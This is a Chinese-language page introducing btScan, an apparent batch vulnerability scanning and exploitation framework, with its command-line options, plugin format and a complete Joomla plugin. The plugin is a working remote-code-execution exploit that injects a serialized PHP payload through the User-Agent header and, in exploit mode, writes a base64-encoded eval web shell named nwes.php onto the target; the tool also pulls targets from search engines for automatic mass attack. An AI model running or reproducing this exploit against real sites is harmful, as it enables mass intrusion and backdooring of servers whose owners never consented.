批量扫描工具btscan
批量漏洞扫描和批量漏洞利用框架btscan
目录结构
--lib 核心文件库
--report 报告生成的文件夹
--node 里面每一个py文件是一个攻击向量,添加扫描节点也是向里面添加文件
--crawl 通过空间搜索引擎抓取url或者ip的脚本
使用方法
$ python btScan.py
usage: btScan.py [options]* batch vulnerability verification and exploition framework. *
By he1m4n6aoptional arguments:-h, --help show this help message and exit-t THREADS Num of scan threads for each scan process, 20 by default-m MODE select mode [config|script]e.g. -m script-n NAME from node floder choose a script-c COMMAND give an instruction when use script mode [verify|exploit]e.g. -c verify-u URL_FILE input url file-i IP_FILE input ip file-autoIP get ip from space search engine and auto attack-autoURL get url from space search engine and auto attack-v show program's version number and exit
脚本存在两种验证模式,一种是通过加载模块,另一种是通过配置文件。复杂的可以通过加载脚本,简单的通过加载配置文件即可。然后攻击也有两种模式,验证verify模式和攻击exploit模式。 你也可以指定ip或者url作为输入格式,也可以自动获取ip或者url,那就是配合crawl文件下的网络空间抓取模块。
实例:
python btscan.py -n joomla -m script -c verify -u url.txt
-n 指定node文件夹下的joomla.py,-m指定为script模式,即指定加载模块的模式。-c指定模式为验证,仅为验证就好了,-u指定输入为url的模式。
python btscan.py -n joomla -m script -c exploit -u url.txt
同上,只是指定为攻击模式。
python btscan.py -m config -c verify -i ip.txts
-m指定为config模式,-c指定为验证模式,-i指定输入的为ip模式,仅需通过conf目录下的scan_rule.ini的配置就够了。
插件编写规则
仅需要在node文件夹下新增一个py文件
py文件中重要的有两个函数verify和exploit函数,没有exploit攻击模式,仅需要verify函数,返回值有三个值,第一个值是返回是否存在漏洞,返回True或者False;第二个值是返回url,第三个值返回需要打印的信息。
示例(joomla.py为例):
#!/usr/bin/env python
#coding=utf8import urllib2
import urllib
import re
import cookielib, sys
import requestsdef checkJoomlaRCE(url):poc = generate_payload("phpinfo();")try:result = get_url(url, poc)if 'phpinfo()' in result:system = getInfoByJoomlaRCE(result, 'System')document_root = getInfoByJoomlaRCE(result, 'DOCUMENT_ROOT')if document_root == 'no info!':msg = 'vul, but get shell failed!'return False, url, msgscript_filename = getInfoByJoomlaRCE(result, 'SCRIPT_FILENAME')if script_filename == 'no info!':msg = 'vul, but get shell failed!'return False, url, msgshell_file = getShellByJoomlaRCE(url, system, script_filename)if shell_file == 'no info!':msg = 'vul, but get shell failed!'return False, url, msgmsg = 'get shell succsss, shell: %s' %shell_filereturn True, url, msgelse:msg = 'safe'return False, url, msg# print '[!] no vuls! url: '+urlexcept Exception,e:msg = str(e)return False, url, msgdef getShellByJoomlaRCE(url, system, script_filename):if 'no info' not in script_filename and 'no info' not in system:if 'Windows' in system:shell = script_filename.split('index.php')[0].replace('/','//').strip()+"nwes.php"else:shell = script_filename.split('index.php')[0]+"nwes.php"cmd ="file_put_contents('"+shell+"',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7ID8+'));"pl = generate_payload(cmd)try:get_url(url, pl)return url+"nwes.php"except Exception, e:return "no info!"else:return "no info!"def getInfoByJoomlaRCE(result, param):if "System" in param:reg = '.*<tr><td class="e">System </td><td class="v">([^<>]*?)</td></tr>.*'elif "DOCUMENT_ROOT" in param:reg = '.*<tr><td class="e">DOCUMENT_ROOT </td><td class="v">([^<>]*?)</td></tr>.*'elif "SCRIPT_FILENAME" in param:reg = '.*<tr><td class="e">SCRIPT_FILENAME </td><td class="v">([^<>]*?)</td></tr>.*'match_url = re.search(reg,result)if match_url:info = match_url.group(1)else:info = 'no info!'return infodef get_url(url, user_agent): headers = {'User-Agent': user_agent}cookies = requests.get(url,headers=headers).cookiesfor _ in range(2):response = requests.get(url, headers=headers, cookies=cookies)return response.contentdef php_str_noquotes(data):"Convert string to chr(xx).chr(xx) for use in php"encoded = ""for char in data:encoded += "chr({0}).".format(ord(char))return encoded[:-1]def generate_payload(php_payload): php_payload = "eval({0})".format(php_str_noquotes(php_payload))terminate = '\xf0\xfd\xfd\xfd';exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''injected_payload = "{};JFactory::getConfig();exit".format(php_payload) exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminatereturn exploit_template#verify vulnerable
def verify(url):cj = cookielib.CookieJar()opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))urllib2.install_opener(opener)urllib2.socket.setdefaulttimeout(10)ua = '}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\x5C0\x5C0\x5C0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\x5C0\x5C0\x5C0connection";b:1;}\xF0\x9D\x8C\x86'req = urllib2.Request(url=url, headers={'User-Agent': ua})opener.open(req)req = urllib2.Request(url=url)res = opener.open(req).read()if '_SERVER["DOCUMENT_ROOT"]' in res:msg = 'vul'return True, url, msgelse:msg = 'safe'return False, url, msg#exploit vulnerable
def exploit(url):res = checkJoomlaRCE(url)return res
上面函数都可以自己定义,主要是verfiy和exploit函数,如果exploit函数和verify函数一样,exploit函数里面只要简单的self.verify(url)即可。
项目地址:https://github.com/he1m4n6a/btScan
批量扫描工具btscan相关推荐
- python爆破端口_挑战全网多线程批量扫描爆破弱办事端口工具,Python制造专属!...
挑战全网多线程批量扫描&爆破弱办事端口工具,Python制造专属!-1.jpg (29.47 KB, 下载次数: 0) 2018-8-16 17:05 上传 前言 你学习Python的目的是什 ...
- Web漏洞扫描工具(批量脱壳、反序列化、CMS)
一.什么是Web漏洞扫描工具 即是指"扫描Web应用以查找安全漏洞(如跨站脚本,SQL注入,命令执行,目录遍历和不安全服务器配置)的自动化工具",其中许多可能是由不安全或不正确的编 ...
- 【按文分图工具】可以批量扫描图片,按图片中的文字分门别类的软件,图片文字分类软件
9-2 在有些工作中,经常会接收到非常多的图片,然后要对这些图片做分类,如果分类的依据正好是靠图片上的文字的话,那本文章正合适. 比如图片上面有一些文字,需要通过这些文字来对图片进行分类,如果图片非常 ...
- [批量主机存活扫描工具scanhost]扫描主机存活[python版本,非nmap版本]
地址: http://blog.csdn.net/hujkay 作者:Jekkay Hu(34538980@qq.com) 关键词:主机扫描,主机存活,纯python版本,非nmap 时间: 2014 ...
- 漏洞扫描工具_Vulmap漏洞扫描工具
本文来源于https://github.com/zhzyker/vulmap 已与作者联系 作者同意发送本文章 Vulmap目前支持以下漏洞 +-------------------+-------- ...
- 国内外有名的安全扫描工具,你知道几个?
为什么80%的码农都做不了架构师?>>> 1. Nikto 下载 以下是引用片段: 这是一个开源的Web 服务器扫描程序,它可以对Web 服务器的多种项目(包括3500个潜在的 ...
- 网站漏洞扫描工具Uniscan
网站漏洞扫描工具Uniscan 网站漏洞的种类有很多种,如何快速扫描寻找漏洞,是渗透测试人员面临的一个棘手问题.Uniscan是Kali Linux预先安装的一个网站漏洞扫描工具.该工具可以针对单一. ...
- ARP扫描工具arp-scan
ARP扫描工具arp-scan arp-scan是Kali Linux自带的一款ARP扫描工具.该工具可以进行单一目标扫描,也可以进行批量扫描.批量扫描的时候,用户可以通过CIDR.地址范围或者列表文 ...
- BBScan:信息泄漏批量扫描脚本
有些朋友手上有几十万甚至上百万个域名,如果把这些域名全部扔给wvs. APPscan这样的重型扫描器,显然是不太合适的. 对于一个拥有上万IP的企业,又如何快速定位可能存在弱点的机器呢? 试试信息泄漏 ...
最新文章
- 5.10. Web Tools
- 如何用简单易懂的例子解释隐马尔可夫模型?
- php 字符串的处理
- python导入excel数据-Python数据处理之导入导出excel数据
- Light Image Resizer6中文版
- Latent dirichlet allocation note
- ES6中的新特性:Iterables和iterators
- 【好程序员笔记分享】C语言之break和continue
- 有些车已经不能再买了!因为国五排放标准就要来了!
- Go 面向对象编程(译)
- javascript中encodeURI和decodeURI方法
- python 匿名函数 与 重要的内置函数
- html怎么设置自动音乐播放器,运用js教你轻松制作html音乐播放器
- 4种复制文件的方式性能比较
- AnyLogic建模笔记
- 安装企业微信和微信-ubuntu
- 将 5 万行 Java 代码移植到 Go 学到的经验
- 豆瓣社区:《如何高效学习》应用与心得
- uni-app下载和使用
- Java实现找回密码
热门文章
- Discovery直播 | 3D“模”术师,还原立体世界——探秘3D建模服务
- 鸿蒙OS麒麟659,麒麟659处理器相当于高通哪款处理器?
- Python标准库之pickle
- Qt (高仿Visio)流程图组件开发(九) 流程图 代码展示
- 利用cobbler 实现系统自动化安装及web管理
- sysctl.conf配置
- Windows 8 Skin Pack 1.2 For 7:将你的win7变换为win8风格
- 嘉立创专业板stm32拓展板十分钟快速入门
- Python编程:实现tail-n查看日志文件
- LINUX手动释放内存